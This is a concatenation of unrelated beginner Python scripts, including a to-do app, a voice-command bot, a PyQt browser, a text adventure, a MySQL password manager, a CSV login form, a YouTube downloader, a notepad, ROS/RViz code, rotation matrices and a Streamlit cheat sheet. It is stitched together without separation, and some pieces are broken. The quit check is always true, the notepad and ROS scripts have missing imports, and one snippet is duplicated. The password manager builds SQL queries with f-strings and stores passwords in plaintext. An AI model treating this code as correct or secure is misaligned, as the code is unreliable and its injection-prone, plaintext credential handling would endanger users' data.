            new_deadline (str): The new deadline for the task in dd-mm-yy format.

        Returns:
            str: A message confirming that the task has been updated.

        Raises:
            TypeError: If the task is not a string.
            TaskNotFoundError: If the task does not exist in the list.
        """
        try:
            if not isinstance(task, str):
                raise TypeError("Task must be a string.")
            self.tasks[task] = {'status': False, 'deadline': new_deadline}
            return "Task updated"
        except Exception:
            raise TaskNotFoundError("No such task in the list.")
    
    def view_tasks(self) -> list:
        """View the tasks in the list.

        Returns:
            list: A list of task descriptions and their status or completion.

        Raises:
            TaskNotFoundError: If there are no tasks in the list.
        """
        try:
            task_list = []
            for task in self.tasks:
                if self.tasks[task]['status'] == False:
                    task_list.append(f"{task} by {self.tasks[task]['deadline']}")
                if self.tasks[task]['status'] == True:
                    task_list.append(f"{task} finished")
            return task_list
        except Exception:
            raise TaskNotFoundError("There are no tasks in the list.")

if __name__ == "__main__":
    app = ToDo()
    while True:
        print("-------------------------------")
        print()
        print("1. Add task")
        print("2. View tasks")
        print("3. delete task")
        print("4. update task")
        print("5. finish task")
        print("6. exit app")
        print()
        print("-------------------------------")

        choice = int(input("Enter your choice: "))
        if choice == 1:
            task = input("Enter task: ")
            deadline = input("Enter task deadline: ")
            try:
                message = app.add_task(task, deadline)
                print(message)
            except TypeError as e:
                print(e)
            except ValueError as e:
                print(e)
            except TaskAlreadyExistsError as e:
                print(e)
        elif choice == 2:
            try:
                print("-------------------------------")
                task_list = app.view_tasks()
                for task in task_list:
                    print(task)
                print("-------------------------------")
            except TaskNotFoundError as e:
                print(e)
        elif choice == 3:
            try:
                task = input("Enter the task you want to remove: ")
                message = app.remove_task(task)
                print(message)
            except TypeError as e:
                print(e)
            except TaskNotFoundError as e:
                print(e)
        elif choice == 4:
            try:
                task = input("Enter the task you want to update: ")
                deadline = input("What is the new deadline? ")
                message = app.update_task(task,deadline)
                print(message)
            except TypeError as e:
                print(e)
            except TaskNotFoundError as e:
                print(e)
        elif choice == 5:
            try:
                task = input("Enter the task you have finised: ")
                message = app.finish_task(task)
                print(message)
            except TypeError as e:
                print(e)
            except TaskNotFoundError as e:
                print(e)
        elif choice == 6:
            print("Thanks for using")
            break
        else:
            print("Invalid choice!")

import webbrowser
import os
import speech_recognition as sr
import pyttsx3


class Doraemon:
    """This is a simple speech command bot. It is made with few functions and elif ladder. It can take speech input.
    It will perform two categories of tasks:
        1. searching through the web.
        2. opening some apps. Both on voice command. It will also reply to user by talking.
    It has four major methods:
        1. __init__: which is an empty constructor
        2. speak: that speaks the text input and also prints it on the console.
        3. takeCommand: It listens with the default microphone of the system and returns the spoken text
        4. run_bot: This is the interface user will get in the instance of this class. It has an infinite while loop to take commands and execute them until the user asks to stop.
    Libraries used:
        webbrowser: to browse through web
        os: to open applications
        speech_recognition: to take voice commands
        pyttsx3: to give voice outputs
    """
    def __init__(self):
        pass

    def speak(self, text:str) -> None:
        engine = pyttsx3.init()
        print(text)
        engine.say(text)
        engine.runAndWait()
        return None
    
    def takeCommand(self) -> str:
        r = sr.Recognizer()
        with sr.Microphone() as source:
            print("Listening...")
            r.pause_threshold = 1
            audio = r.listen(source)
        try:
            print("Recognizing...")    
            query = r.recognize_google(audio, language='en-in')
            return query

        except Exception:
            print("Say that again please...")
            return ""
    
    def open_youtube(self) -> None:
        self.speak("What should I search for? ")
        cm = input()
        self.speak(f"Searching in youtube {cm}")
        webbrowser.open(f"https://www.youtube.com/results?search_query={cm}")

    def open_google(self) -> None:
        self.speak("What should I search for? ")
        cm = input()
        self.speak(f"Searching in google {cm}")
        webbrowser.open(f"https://www.google.com/search?q={cm}")

    def open_notepad(self) -> None:
        self.speak("Opening Notepad")
        os.system("C:\\Windows\\notepad.exe")

    def open_vs_code(self) -> None:
        self.speak("Opening VS Code")
        os.startfile("C:\\Microsoft VS Code2\\Code.exe")

    def run_bot(self) -> None:
        self.speak("How can i help you buddy?")
        while True:
            instruction = self.takeCommand().lower()
            if instruction == "":
                continue
            elif "youtube" in instruction:
                self.open_youtube()

            elif "google" in instruction:
                self.open_google()

            elif "notepad" in instruction:
                self.open_notepad()

            elif "vs code" in instruction:
                self.open_vs_code()

            elif "quit" or "exit" in instruction:
                self.speak("Ok bye bye have a great time")
                break

            elif "thanks" in instruction:
                self.speak("NO thanks in friendship")
                
            else:
                self.speak("Invalid request")

my_buddy = Doraemon()
my_buddy.run_bot()

# Importing necessary classes from PyQt5 library
from PyQt5.QtWidgets import *
from PyQt5.QtCore import *
from PyQt5.QtGui import QIcon
from PyQt5.QtWebEngineWidgets import *

class MyWebBrowser(): # Creating a class for the web browser
    """
    A simple web browser application using PyQt5.
    """
    def __init__(self):
        """
        Initialize the web browser.
        """
        self.window = QWidget() # Creating a QWidget instance
        self.window.setWindowTitle("My Web Browser") # Setting the window title

        # main layout: holds browser and horizontal layout
        self.layout = QVBoxLayout()
        # holds the buttons and url bar
        self.horizontal = QHBoxLayout()

        self.url_bar = QLineEdit()
        self.url_bar.setMaximumHeight(30)

        self.go_btn = QPushButton("Go")
        self.go_btn.setMinimumHeight(30)

        # to load a page when enter is pressed in the url bar
        self.url_bar.returnPressed.connect(self.go_btn.click)  # Connect the returnPressed signal to the go_btn click slot

        self.back_btn = QPushButton("<")
        self.back_btn.setMinimumHeight(30)

        self.forward_btn = QPushButton(">")
        self.forward_btn.setMinimumHeight(30)

        self.reload_btn = QPushButton()
        self.reload_btn.setIcon(QIcon('images/reload.png'))  # Set the icon using the image file path
        self.reload_btn.setMinimumHeight(30)

        # Adding the widgets to the horizontal layout
        self.horizontal.addWidget(self.reload_btn)
        self.horizontal.addWidget(self.url_bar)
        self.horizontal.addWidget(self.go_btn)
        self.horizontal.addWidget(self.back_btn)
        self.horizontal.addWidget(self.forward_btn)

        self.browser = QWebEngineView()

        # connecting buttons
        self.go_btn.clicked.connect(lambda: self.navigate(self.url_bar.text()))
        self.back_btn.clicked.connect(self.go_back)
        self.forward_btn.clicked.connect(self.go_forward)
        self.reload_btn.clicked.connect(self.browser.reload)

        self.layout.addLayout(self.horizontal)  # Adding the horizontal layout to the main layout
        self.layout.addWidget(self.browser) # Adding the browser to the main layout

        self.browser.setUrl(QUrl("https://google.com")) # Setting the initial URL for the browser

        self.window.setLayout(self.layout) # Setting the main layout for the window

        self.window.show()


    def navigate(self, url):
        """
        Navigate to the specified URL.

        Args:
            url (str): The URL to navigate to.
        """
        if not url.startswith("http"): # Checking if the URL does not start with "http"
            url = "https://" + url # Prepending "https://" to the URL
            self.url_bar.setText(url)  # Updating the URL bar text with the modified URL
        self.browser.setUrl(QUrl(url))  # Navigating the browser to the specified URL

    def go_back(self):
        """
        Go back to the previous page.
        """
        self.url_bar.setText("") 
        self.browser.back()

    def go_forward(self):
        """
        Go forward to the next page.
        """
        self.url_bar.setText("") 
        self.browser.forward()
    

app = QApplication([]) # Creating a QApplication instance
window = MyWebBrowser() # Creating an instance of the MyWebBrowser class
app.exec_() # Starting the application event loop

from customtkinter import *
from PIL import Image

class adventure_game(CTk):
    def __init__(self):
        super().__init__()

        self.images = [CTkImage(light_image=Image.open("Timages\\two roads.jpg"), size=(364,456)),
                       CTkImage(light_image=Image.open("Timages\\island.jpg"),size=(402,226)),
                       CTkImage(light_image=Image.open("Timages\\hole.jpg"),size=(595,396)),
                       CTkImage(light_image=Image.open("Timages\\Three doors.png"),size=(420,306)),
                       CTkImage(light_image=Image.open("Timages\\shark.jpg"),size=(400,266)),
                       CTkImage(light_image=Image.open("Timages\\fire.jpg"),size=(589,396)),
                       CTkImage(light_image=Image.open("Timages\\wolves.jpg"),size=(600,400)),
                    ]

        self.first_label = CTkLabel(self, text="You're at a cross road. Where do you want to go? Type \"left\" or \"right\"", font=("Arial", 16))
        self.first_label.pack()
        self.first_image = CTkLabel(self, image=self.images[0], text="")
        self.first_image.pack()

        self.choice1 = CTkEntry(self)
        self.choice1.pack()

        self.confirm = CTkButton(self, text="Confirm", command=self.choice_one)
        self.confirm.pack()

    def choice_one(self):
        ch1 = self.choice1.get()
        # Clear the app window
        for widget in self.winfo_children():
            widget.destroy()
        if ch1 == "left":
            self.second_label = CTkLabel(self, text="You've come to a lake. There is an island in the middle of the lake. Type \"wait\" to wait for a boat. Type \"swim\" to swim across.", font=("Arial", 16))
            self.second_label.pack()
            self.second_image = CTkLabel(self, image=self.images[1], text="")
            self.second_image.pack()

            self.choice2 = CTkEntry(self)
            self.choice2.pack()

            self.confirm = CTkButton(self, text="Confirm",command=self.choice_two)
            self.confirm.pack()
        else:
            self.second_label = CTkLabel(self, text="You fell into a hole. Game Over.", font=("Arial", 16))
            self.second_label.pack()
            self.second_image = CTkLabel(self, image=self.images[2], text="")
            self.second_image.pack()

            # exit button
            self.qb = CTkButton(self, text="Exit", fg_color="red", hover_color="pink", text_color="white", command=self.quit)
            self.qb.pack()

    def choice_two(self):
        ch2 = self.choice2.get()
        # Clear the app window
        for widget in self.winfo_children():
            widget.destroy()
        if ch2 == "wait":
            self.third_label = CTkLabel(self, text="You arrive at the island unharmed. There is a house with 3 doors. One red, one yellow and one blue. Which colour do you choose?", font=("Arial", 16))
            self.third_label.pack()
            self.third_image = CTkLabel(self, image=self.images[3], text="")
            self.third_image.pack()

            self.choice3 = CTkEntry(self)
            self.choice3.pack()

            self.confirm = CTkButton(self, text="Confirm",command=self.choice_three)
            self.confirm.pack()
        else:
            self.third_label = CTkLabel(self, text="You get attacked by an angry trout. Game Over.", font=("Arial", 16))
            self.third_label.pack()
            self.third_image = CTkLabel(self, image=self.images[4], text="")
            self.third_image.pack()

            # exit button
            self.qb = CTkButton(self, text="Exit", fg_color="red", hover_color="pink", text_color="white", command=self.quit)
            self.qb.pack()

    def choice_three(self):
        ch3 = self.choice3.get()
        # Clear the app window
        for widget in self.winfo_children():
            widget.destroy()

        if ch3=="yellow":
            self.fourth_label = CTkLabel(self, text="You win\nHere's the treasure:-\nIt's a comic website.\n-----------Happy Reading-----------")
            self.fourth_label.pack()
            import antigravity
            from time import sleep
            sleep(1)
            self.quit()

        elif ch3 == "red":
            self.fourth_label = CTkLabel(self, text="It's a room full of fire. Game Over.", font=("Arial", 16))
            self.fourth_label.pack()
            self.fourth_image = CTkLabel(self, image=self.images[5], text="")
            self.fourth_image.pack()

            # exit button
            self.qb = CTkButton(self, text="Exit", fg_color="red", hover_color="pink", text_color="white", command=self.quit)
            self.qb.pack()

        elif ch3 == "blue":
            self.fourth_label = CTkLabel(self, text="You enter a room of beasts. Game Over.", font=("Arial", 16))
            self.fourth_label.pack()
            self.fourth_image = CTkLabel(self, image=self.images[6], text="")
            self.fourth_image.pack()

            # exit button
            self.qb = CTkButton(self, text="Exit", fg_color="red", hover_color="pink", text_color="white", command=self.quit)
            self.qb.pack()
            
        else:
            self.fourth_label = CTkLabel(self, text="Game Over.", font=("Arial", 16))
            self.fourth_label.pack()
            # exit button
            self.qb = CTkButton(self, text="Exit", fg_color="red", hover_color="pink", text_color="white", command=self.quit)
            self.qb.pack()


app = adventure_game()
app.mainloop()

def WordCounter(text:str) -> int:
    # getting sentences
    lines = text.split("\n")

    words = []
    for line in lines:
        # words from sentences
        print(line)
        for word in line.split(" "):
            words.append(word)
    return len(words)

# taking multiline input
lines = []
print("Please Enter your text: ")
while True:
    line = input()
    if not line:
        break
    lines.append(line)

# providing the string of input to the WordCounter function
words = WordCounter(str(lines))
print(f'Your text has {words} words.')

import mysql.connector
from customtkinter import *

class DatabaseMediator:
    """Handles the connection and interaction with the MySQL database."""
    def __init__(self, host, user, password, database, table_name,*columns):
        """
        Initializes the DatabaseMediator object.
        
        Args:
            host (str): The MySQL server host.
            user (str): The username for the database connection.
            password (str): The password for the database connection.
            database (str): The name of the database.
            table_name (str): The name of the table storing the passwords.
            *columns (str): Variable-length argument list of column names in the table.
        """
        self.host = host
        self.user = user
        self.password = password
        self.database = database
        self.table_name = table_name
        self.columns = columns
        self.mydb = mysql.connector.connect(
        host=self.host,
        user=self.user,
        password=self.password,
        database=self.database
        )
        self.mycursor = self.mydb.cursor()

    def insert_data(self, *args):
        """
        Inserts data into the MySQL table.
        
        Args:
            *args: Variable-length argument list of values to be inserted.
        """
        self.mycursor.execute(f"INSERT INTO {self.table_name} ({', '.join(list(self.columns))}) VALUES {args}")
        self.mydb.commit()
        
    def retrieve_data(self):
        """
        Retrieves all data from the MySQL table.
        
        Returns:
            list: A list of tuples representing the retrieved data.
        """
        self.mycursor.execute(f"SELECT * FROM {self.table_name}")
        myresult = self.mycursor.fetchall()
        return myresult

class PasswordManager(CTk):
    """The main GUI class for the Password Manager application."""
    def __init__(self):
        """Initializes the PasswordManager GUI."""
        super().__init__()
        self.title("Password Manager")
		#change the host, username, and password to yours
        self.database_connection = DatabaseMediator("HOST", "USERNAME", "PASSWORD", "password_manager", "passwords", "account_name", "account_id", "account_password")
        
        self.frame = CTkFrame(self)
        self.frame.grid(row=0, columnspan=2, padx=10, pady=10)

        self.account_name = CTkEntry(self.frame, placeholder_text="Account name")
        self.account_name.pack(padx=10, pady=10)
        
        self.account_id = CTkEntry(self.frame, placeholder_text="Enter your user ID here")
        self.account_id.pack(padx=10, pady=10)

        self.account_password = CTkEntry(self.frame, placeholder_text="Enter your Password")
        self.account_password.pack(padx=10, pady=10)

        self.save_password = CTkButton(self, text="Save Password", command=self.save)
        self.save_password.grid(row=1, column=0, padx=10, pady=10)

        self.view_password = CTkButton(self, text="View Passwords", command=self.view)
        self.view_password.grid(row=1, column=1, padx=10, pady=10)

    def save(self):
        """Saves the password to the database."""
        acc_nm = self.account_name.get()
        acc_id = self.account_id.get()
        acc_password = self.account_password.get()
        self.database_connection.insert_data(acc_nm, acc_id, acc_password)
        label = CTkLabel(self, text="Passwords Saved successfully...")
        label.grid(row=2, columnspan=2, padx=10, pady=10)

    def view(self):
        """Retrieves and displays all passwords from the database."""
        passwords = self.database_connection.retrieve_data()
        result = ""
        for i in range(len(passwords)):
            result += f"\n{i+1}. {passwords[i]}"
        result_frame = CTkFrame(self)
        result_frame.grid(row=3, columnspan=2, padx=10, pady=10)
        res_label = CTkLabel(result_frame, text=result)
        res_label.pack()


app = PasswordManager()
app.mainloop()

import random
from os import system

# Word categories
categories = {
    "Coding": ["Python", "Variable", "Function", "Loop", "Algorithm", "Debugging", "Syntax", "Class", "Recursion", "Library"],
    "Gaming": ["Console", "Controller", "Quest", "Level", "Avatar", "Powerup", "Multiplayer", "Strategy", "Virtual", "Adventure"],
    "Movies": ["Action", "Comedy", "Thriller", "Drama", "Romance", "SciFi", "Fantasy", "Horror", "Animation", "Mystery"],
    "Travel": ["Beach", "Adventure", "Culture", "Explore", "Passport", "Destination", "Backpack", "Journey", "Sightseeing", "Vacation"]
}

# Get player name
player = input("Enter your name: ")

print()
print(f"\t\t\tWelcome to this word guessing game {player}.")
print("\t\t\tYou will get 10 chances to guess the word.")
print(f"\t\t\t\t\t\tAll The Best {player}")
print("\n\n")

# Print available categories
for i in categories.keys():
    print(f"{i}")

# Select category
category = input("Select category: ").title()
if category not in categories:
    print("Invalid category!")
    exit()

# Select a random word from the chosen category
word = random.choice(categories[category])

# Initialize guessed and wrong variables
guessed = len(word) * '_'
wrong = ""
chances = 10  # Total number of guesses

# Clear the console screen
system('cls')

# Display initial word with underscores
for i in word:
    print("_", end=" ")
print()
# Main game loop
while chances > 0:
    word = word.lower()
    guessed = guessed.lower()

    # Check if the player has guessed all the characters correctly
    if sorted(guessed) == sorted(word):
        print(f"Congrats {player}, you win!!")
        print(f"The correct word was, {word}")
        break

    # Ask the player to enter a character
    guess = input("Enter a character: ").lower()

    # Check if the guessed character is correct
    if guess in word:
        for i in range(len(word)):
            if word[i] == guess:
                tempg = list(guessed)
                tempg.pop(i)
                tempg.insert(i, guess)
                guessed = ''.join([elem for elem in tempg])
        
        # Display the current progress
        for i in range(len(word)):
            if word[i] == guessed[i]:
                print(word[i], end=" ")
            else:
                print("_", end=" ")
        
        print("\nYou are correct!!\n\n")
   
    # If the guessed character is incorrect
    elif guess not in word:
        wrong += guess
        print("\nYou are wrong!!\n\n")
        print(f"Chances left = {chances}")
        chances -= 1
        
# Player has used all the chances
if chances == 0:
    print(f"Alas {player}, You Lose!")
    print("Better luck next time...")
    print(f"The correct word was, {word}")
    print("Thanks for Playing, Have a nice day!")

from customtkinter import *
import pandas as pd

class LoginFrame(CTkFrame):
    """
    A frame for login functionality.
    """
    def __init__(self, master, **kwargs):
        super().__init__(master, **kwargs)
        """
        Initialize the LoginFrame.

        Args:
            master: The parent widget.
            kwargs: Additional keyword arguments for the frame.
        """
        # Create and grid the login label
        self.log = CTkLabel(self, text="LOG IN", text_color="#ffe9a6", font=("Verdana",20))
        self.log.grid(row=0, column=0,padx=10, pady=10)

        # Create and grid the username entry field
        self.user = CTkEntry(self, placeholder_text="Username", text_color="white", fg_color="#030126", border_color="#030126")
        self.user.grid(row=1, column=0,padx=10, pady=10)

        # Create and grid the password entry field
        self.password = CTkEntry(self, placeholder_text="Password", show="*", text_color="white", fg_color="#030126", border_color="#030126")
        self.password.grid(row=2, column=0,padx=10, pady=10)

        # Create and grid the submit button
        self.submit = CTkButton(self, text="Submit", fg_color="#fccc3d", text_color="#2e3140", hover=False, command=self.check, font=("arial",14))
        self.submit.grid(row=3, column=0,padx=10, pady=10)

    def check(self):
        """
        Check if the entered username and password are valid.
        """

        user = self.user.get()
        if self.find_user(user):
            passw = self.password.get()
            if self.match_password(user, passw):
                # Clear the app window and show success message
                for widget in app.winfo_children():
                    widget.destroy()
                label = CTkLabel(app, text="Successfully Logged In!!")
                label.grid(row=1, column=1, padx=10, pady=10)
            else:
                # Show invalid password message
                label = CTkLabel(app, text="Invalid Password")
                label.grid(row=1, column=1, padx=10, pady=10)
        else:
            # Show invalid username message
            label = CTkLabel(app, text="Invalid Username")
            label.grid(row=1, column=1, padx=10, pady=10)

    def find_user(self, username:str) -> bool:
        """
        Find if a user with the given username exists.

        Args:
            username: The username to search for.

        Returns:
            bool: True if the username exists, False otherwise.
        """
        df = pd.read_csv("users.csv")
        for i in range(len(df)):
            cuser = list(df.loc[i])[0]
            if username ==cuser:
                return True
        else:
            return False
        
    def match_password(self, username:str, password:str) -> bool:
        """
        Check if the given password matches the username.

        Args:
            username: The username to check.
            password: The password to match.

        Returns:
            bool: True if the password matches, False otherwise.
        """
        df = pd.read_csv("users.csv")
        for i in range(len(df)):
            cuser = list(df.loc[i])[0]
            passw = list(df.loc[i])[1]
            if username ==cuser:
                if password == passw:
                    return True
                return False


app = CTk()

frame = LoginFrame(master=app)
frame.grid(row=0, column=1,padx=10, pady=10)

app.mainloop()

#A YouTube Video Downloader GUI In Python
from customtkinter import *
from pytube import YouTube

def Download():
    """
    Function to download YouTube videos based on the provided link.
    """
    link = inp_link.get()
    try:
        # making object of the YouTube class from pytube
        youtubeObject = YouTube(link)
        # setting resolution to best
        youtubeObject = youtubeObject.streams.get_highest_resolution()
        # downloading the video
        youtubeObject.download()
        # clearing input widget after the download is successful
        inp_link.delete(0, 'end')
        # providing successfully downloaded message to the user provinding the location of video
        label = CTkLabel(app, text="The video's Download is completed successfully. You can check it in the same directory.")
        label.grid(row=2, column=0, columnspan=2)

    except Exception as e:
        # displaying errors if any
        label = CTkLabel(app, text=e)
        label.grid(row=2, column=0, columnspan=2)
    
# creating a GUI window
app = CTk()
# getting the link
inp_link = CTkEntry(app, placeholder_text="Enter your link here: ")
inp_link.grid(row=0, column=0, columnspan=2, padx=10, pady=10)
# button to download the video at the given link
download = CTkButton(app, text="Download", command=Download)
download.grid(row=1, column=0, columnspan=2, padx=10, pady=10)
app.mainloop()

from customtkinter import *
from tkinter.filedialog import askopenfilename, asksaveasfilename

class Notepad(CTk):
    def __init__(self):
        """Initialize the Notepad application."""
        super().__init__()
        self.title("Notepad")
        self.iconbitmap("images/notepad.ico")
        self.geometry("600x600")
        self.configure(padx=10, pady=10)

        # file path
        self.file = None

         # Create a Frame for the menu and textarea
        self.frame = CTkFrame(self)
        self.frame.pack(fill="both", expand=True, padx=10, pady=10)

        # file menu
        self.File_var = StringVar(value="File")
        self.filemenu = CTkOptionMenu(self.frame,values=["File", "New", "Open", "Save"],
                                         command=self.file_menu_callback,
                                         variable=self.File_var,button_color="black", fg_color="black")
        
        self.filemenu.grid(row=0, column=0, padx=10, pady=10, sticky="w")

        # Textbox to get text
        self.textarea = CTkTextbox(self.frame, font=("Consolas", 11))
        self.textarea.grid(row=1,column=0,columnspan=2, padx=10, pady=10, sticky="nsew")
        # create CTk scrollbar
        # It only appears in full screen mode
        ctk_textbox_scrollbar = CTkScrollbar(self.frame, command=self.textarea.yview)
        ctk_textbox_scrollbar.grid(row=1,column=1, sticky="ns")

        # connect textbox scroll event to CTk scrollbar
        self.textarea.configure(yscrollcommand=ctk_textbox_scrollbar.set)


        # Bind the <Configure> event to the resize_textarea function
        self.bind("<Configure>", self.resize_textarea)

    # event is needed to bind it to resize event
    def resize_textarea(self, event):
        """Adjust the size of the textarea based on the available space."""
        # Calculate the new width and height for the textarea based on the available space
        available_width = self.winfo_width() - 40  # Subtract the padding
        available_height = self.winfo_height() - 40  # Subtract the padding

        # Update the width and height of the textarea
        self.textarea.configure(width=available_width, height=available_height)

    def file_menu_callback(self,choice):
        """Handle the file menu commands."""
        if choice=='New':
            self.new()
        elif choice=='Open':
            self.open()
        elif choice=='Save':
            self.save()

    def new(self):
        """Create a new file."""
        self.file = None
        self.title("Notepad")
        self.textarea.focus_set()
        self.textarea.delete("0.0", 'end')

    def open(self):
        """Open an existing file."""
        self.file = askopenfilename(defaultextension=".txt",
                           filetypes=[("All Files", "*.*"),
                                     ("Text Documents", "*.txt")])
        if self.file == "":
            self.file = None
        else:
            self.title(os.path.basename(self.file))
            self.textarea.delete("0.0", 'end')
            with open(self.file, 'r') as f:
                self.textarea.insert("0.0", f.read())

    def save(self):
        """Save the current file."""
        if self.file == None:
            self.file = asksaveasfilename(initialfile = 'Untitled.txt', defaultextension=".txt",
                           filetypes=[("All Files", "*.*"),
                                     ("Text Documents", "*.txt")])
            if self.file =="":
                self.file = None
            else:
                with open(self.file, 'w') as f:
                    f.write(self.textarea.get("0.0", "end"))



if __name__ == '__main__':
    app = Notepad()
    app.mainloop()

import antigravity

print("I love python")

# Data
uang_jalan = 1500000
jumlah_hari = 31
list_plat_nomor = [8993, 2198, 2501, 2735, 3772, 4837, 9152]
# Pengecekan kendaraan dengan nomor pelat ganjil atau genap 
kendaraan_genap = 0
kendaraan_ganjil = 0 
for plat_nomor in list_plat_nomor:
    if plat_nomor % 2 == 0:
        kendaraan_genap += 1 
    else:
        kendaraan_ganjil += 1
# Total pengeluaran untuk kendaraan dengan nomor pelat ganjil
# dan genap dalam 1 bulan
i = 1
total_pengeluaran = 0
while i<= jumlah_hari:
    if i % 2 == 0:
        total_pengeluaran += (kendaraan_genap * uang_jalan) 
    else:
        total_pengeluaran += (kendaraan_ganjil * uang_jalan) 
    i += 1
# Cetak total pengeluaran
print(total_pengeluaran)

# Data
uang_jalan = 1500000
jumlah_hari = 31
list_plat_nomor = [8993, 2198, 2501, 2735, 3772, 4837, 9152]
# Pengecekan kendaraan dengan nomor pelat ganjil atau genap 
kendaraan_genap = 0
kendaraan_ganjil = 0 
for plat_nomor in list_plat_nomor:
    if plat_nomor % 2 == 0:
        kendaraan_genap += 1 
    else:
        kendaraan_ganjil += 1
# Total pengeluaran untuk kendaraan dengan nomor pelat ganjil
# dan genap dalam 1 bulan
i = 1
total_pengeluaran = 0
while i<= jumlah_hari:
    if i % 2 == 0:
        total_pengeluaran += (kendaraan_genap * uang_jalan) 
    else:
        total_pengeluaran += (kendaraan_ganjil * uang_jalan) 
    i += 1
# Cetak total pengeluaran
print(total_pengeluaran)

#!/usr/env/bin python3
import os
import rospy
import rospkg
from PyQt5.QtWidgets import QApplication, QMainWindow, QVBoxLayout, QPushButton, QWidget, QLabel
from PyQt5.QtUiTools import QUiLoader
from rviz_visual_tools import RvizVisualTools

class MainWindow(QMainWindow):
    def __init__(self):
        super(MainWindow, self).__init__()

        # Load the UI file
        ui_file = os.path.join(rospkg.RosPack().get_path('test_wst'), 'app.ui')
        self.load_ui(ui_file)

        # Connect buttons
        self.button1.clicked.connect(self.handle_button1)
        self.button2.clicked.connect(self.handle_button2)

        # Initialize RViz
        self.rviz = RvizVisualTools("world", "/rviz_visual_tools")

        # Add robot model to RViz
        self.rviz.load_robot()
        
        # Add RViz visualization to the UI
        self.rviz_widget = self.rviz.embed_into("rvizWidget")

    def load_ui(self, ui_file):
        loader = QUiLoader()
        ui_file = QFile(ui_file)
        ui_file.open(QFile.ReadOnly)
        self.window = loader.load(ui_file)
        ui_file.close()
        self.setCentralWidget(self.window.centralwidget)

        # Find UI elements
        self.button1 = self.window.centralwidget.findChild(QPushButton, "button1")
        self.button2 = self.window.centralwidget.findChild(QPushButton, "button2")
        self.rviz_widget = self.window.centralwidget.findChild(QWidget, "rvizWidget")

    def handle_button1(self):
        # Handle button 1 click
        print("Button 1 clicked")

    def handle_button2(self):
        # Handle button 2 click
        print("Button 2 clicked")

if __name__ == '__main__':
    # Initialize the ROS node
    rospy.init_node("rviz_example")

    # Initialize the Qt application
    app = QApplication([])
    window = MainWindow()
    window.show()

    # Start the Qt event loop
    app.exec_()

list_cash_flow = [
2500000, 5000000, -1000000, -2500000, 5000000, 10000000,
-5000000, 7500000, 10000000, -1500000, 25000000, -2500000
]
total_pengeluaran, total_pemasukan = 0, 0
for dana in list_cash_flow: 
    if dana > 0:
        total_pemasukan += dana 
    else:
        total_pengeluaran += dana
total_pengeluaran *= -1
print(total_pengeluaran) 

//ENU to body frame

[[cos(theta)*cos(psi), cos(theta)*sin(psi), -sin(theta)],
 [-sin(phi)*sin(theta)*cos(psi) + cos(phi)*sin(psi), sin(phi)*sin(theta)*sin(psi) + cos(phi)*cos(psi), sin(phi)*cos(theta)],
 [cos(phi)*sin(theta)*cos(psi) + sin(phi)*sin(psi), -cos(phi)*sin(theta)*sin(psi) + sin(phi)*cos(psi), cos(phi)*cos(theta)]]


//NED to body frame

[[cos(theta)*cos(psi), -cos(theta)*sin(psi), sin(theta)],
 [sin(phi)*sin(theta)*cos(psi) + cos(phi)*sin(psi), -sin(phi)*sin(theta)*sin(psi) + cos(phi)*cos(psi), -sin(phi)*cos(theta)],
 [-cos(phi)*sin(theta)*cos(psi) + sin(phi)*sin(psi), cos(phi)*sin(theta)*sin(psi) + sin(phi)*cos(psi), cos(phi)*cos(theta)]]

import numpy as np

def enu_to_body_frame(enu_vector, roll, pitch, yaw):
    # Construct the direction cosine matrix (DCM)
    c_roll = np.cos(roll)
    s_roll = np.sin(roll)
    c_pitch = np.cos(pitch)
    s_pitch = np.sin(pitch)
    c_yaw = np.cos(yaw)
    s_yaw = np.sin(yaw)

    dcm = np.array([
        [c_pitch * c_yaw, -c_roll * s_yaw + s_roll * s_pitch * c_yaw, s_roll * s_yaw + c_roll * s_pitch * c_yaw],
        [c_pitch * s_yaw, c_roll * c_yaw + s_roll * s_pitch * s_yaw, -s_roll * c_yaw + c_roll * s_pitch * s_yaw],
        [-s_pitch, s_roll * c_pitch, c_roll * c_pitch]
    ])

    # Transform the vector from ENU to body frame
    body_vector = np.dot(dcm, enu_vector)

    return body_vector

# Example usage
enu_vector = np.array([1.0, 0.0, 0.0])  # Vector in ENU frame
roll = 0.1  # Roll angle in radians
pitch = 0.2  # Pitch angle in radians
yaw = 0.3  # Yaw angle in radians

body_vector = enu_to_body_frame(enu_vector, roll, pitch, yaw)

print("Body frame vector:", body_vector)

# stores recent function calls
fibonacci_cache = {}


def fibonacci(n):
    # check if the input is an integer
    if type(n) != int:
        raise TypeError("The input must be an integer")

    # check if the input is a postive integer
    if (n < 1):
        raise ValueError("Input must be a positive integer")

    # if we have cached the value, then return it
    if n in fibonacci_cache:
        return fibonacci_cache[n]

    # compute the nth term
    if (n == 1):
        value = 1
    elif (n == 2):
        value = 1
    elif (n > 2):
        value = fibonacci(n - 1) + fibonacci(n - 2)

    # cache the value and return it
    fibonacci_cache[n] = value
    return value


for n in range(1, 101):
    print(f"{n}: {fibonacci(n)}")

df.replace(r'^\s*$', pd.NA, regex=True)

from music21 import chord, interval

# Create a Chord object for C major
c_major_chord = chord.Chord("C4 E4 G4")

# Get the root note of the chord
root_note = c_major_chord.root()

# Get the chord tensions
tensions = []
for degree in [2, 4, 6]:
    tension_pitch = root_note.transpose(interval.GenericInterval(degree))
    tensions.append(tension_pitch.name)
print("Chord Tensions:", tensions)

st.dataframe(my_dataframe)
st.table(data.iloc[0:10])
st.json({'foo':'bar','fu':'ba'})
st.metric('My metric', 42, 2)

st.button('Click me')
st.data_editor('Edit data', data)
st.checkbox('I agree')
st.radio('Pick one', ['cats', 'dogs'])
st.selectbox('Pick one', ['cats', 'dogs'])
st.multiselect('Buy', ['milk', 'apples', 'potatoes'])
st.slider('Pick a number', 0, 100)
st.select_slider('Pick a size', ['S', 'M', 'L'])
st.text_input('First name')
st.number_input('Pick a number', 0, 10)
st.text_area('Text to translate')
st.date_input('Your birthday')
st.time_input('Meeting time')
st.file_uploader('Upload a CSV')
st.download_button('Download file', data)
st.camera_input("Take a picture")
st.color_picker('Pick a color')

# Use widgets' returned values in variables:
>>> for i in range(int(st.number_input('Num:'))):
>>>   foo()
>>> if st.sidebar.selectbox('I:',['f']) == 'f':
>>>   b()
>>> my_slider_val = st.slider('Quinn Mallory', 1, 88)
>>> st.write(slider_val)

# Disable widgets to remove interactivity:
>>> st.slider('Pick a number', 0, 100, disabled=True)

# E.g. Dataframe computation, storing downloaded data, etc.
>>> @st.cache_data
... def foo(bar):
...   # Do something expensive and return data
...   return data
# Executes foo
>>> d1 = foo(ref1)
# Does not execute foo
# Returns cached item by value, d1 == d2
>>> d2 = foo(ref1)
# Different arg, so function foo executes
